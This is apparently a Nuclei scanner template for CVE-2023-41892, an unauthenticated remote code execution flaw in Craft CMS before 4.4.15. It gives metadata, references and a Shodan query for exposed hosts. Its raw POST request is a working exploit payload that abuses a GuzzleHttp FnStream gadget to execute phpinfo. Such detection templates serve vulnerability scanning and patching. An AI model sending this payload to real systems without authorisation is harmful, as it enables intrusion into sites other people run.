id: CVE-2023-41892info:  name: CraftCMS < 4.4.15 - Unauthenticated Remote Code Execution  author: iamnoooob,rootxharsh,pdresearch  severity: critical  description: Craft CMS is a platform for creating digital experiences. This is a high-impact, low-complexity attack vector leading to Remote Code Execution (RCE). Users running Craft installations before 4.4.15 are encouraged to update to at least that version to mitigate the issue. This issue has been fixed in Craft CMS 4.4.15.  reference:    - https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g    - https://blog.calif.io/p/craftcms-rce    - https://github.com/craftcms/cms/blob/develop/CHANGELOG.md#4415---2023-07-03-critical    - https://github.com/craftcms/cms/commit/7359d18d46389ffac86c2af1e0cd59e37c298857    - https://github.com/craftcms/cms/commit/a270b928f3d34ad3bd953b81c304424edd57355e  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L    cvss-score: 10    cve-id: CVE-2023-41892    cwe-id: CWE-94    epss-score: 0.00044    epss-percentile: 0.08209  metadata:    max-request: 1    verified: true    publicwww-query: "craftcms"    shodan-query: http.favicon.hash:-47932290  tags: cve,cve2023,rce,unauth,craftcmshttp:  - raw:      - |        POST /index.php HTTP/1.1        Host: {{Hostname}}        Content-Type: application/x-www-form-urlencoded        action=conditions/render&test[userCondition]=craftelementsconditionsusersUserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\GuzzleHttp\Psr7\FnStream",    "__construct()": [{"close":null}],"_fn_close":"phpinfo"}}    matchers:      - type: word        words:          - "PHP Credits"          - "PHP Group"          - "CraftCMS"        condition: and        case-insensitive: true